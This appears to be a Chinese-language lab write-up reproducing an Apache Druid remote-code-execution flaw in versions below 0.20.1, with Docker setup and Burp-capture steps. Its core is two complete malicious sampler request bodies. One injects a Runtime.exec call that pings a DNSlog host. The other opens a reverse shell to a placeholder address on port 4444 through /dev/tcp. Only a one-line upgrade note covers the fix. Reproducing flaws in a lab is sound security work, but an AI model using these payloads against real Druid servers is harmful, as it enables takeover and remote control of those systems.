参考大佬的复现过程：https://www.cnblogs.com/cHr1s/p/14365418.html
1、概述
Apache Druid 是一个分布式的数据处理系统。Apache Druid包括执行用户提供的JavaScript的功能嵌入在各种类型请求中的代码。在Druid 0.20.0及更低版本中，用户发送恶意请求，利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码，控制服务器。
2、 影响版本
Apache Druid < 0.20.1
3、使用docker搭建环境
docker pull fokkodriesprong/docker-druid
docker run --rm -i -p 8888:8888 fokkodriesprong/docker-druid
4、复现过程
搭建好环境之后访问本地8888端口
点击Load data
然后点击local disk
右侧Base directory填入：quickstart/tutorial/
File filter填入：wikiticker-2015-09-12-sampled.json.gz
点击preview，然后点击next
一直点next，直到是Filter时，开启burp抓包，然后点击next:filter
（1）DNSlog 验证
用下面代码将body中的数据进行替换
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec(‘/bin/bash -c $@|bash 0 ping 7wsyab.dnslog.cn‘)}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
（2）反弹shell
{"type":"index","spec":{"type":"index","ioConfig":{"type":"index","firehose":{"type":"local","baseDir":"quickstart/tutorial/","filter":"wikiticker-2015-09-12-sampled.json.gz"}},"dataSchema":{"dataSource":"sample","parser":{"type":"string","parseSpec":{"format":"json","timestampSpec":{"column":"time","format":"iso"},"dimensionsSpec":{}}},"transformSpec":{"transforms":[],"filter":{"type":"javascript",
"function":"function(value){return java.lang.Runtime.getRuntime().exec(‘/bin/bash -c $@|bash 0 echo bash -i >& /dev/tcp/ip/4444 0>&1‘)}",
"dimension":"added",
"":{
"enabled":"true"
}
}}}},"samplerConfig":{"numRows":500,"timeoutMs":15000,"cacheKey":"4ddb48fdbad7406084e37a1b80100214"}}
5、漏洞修复
升级到最新版的apache druid
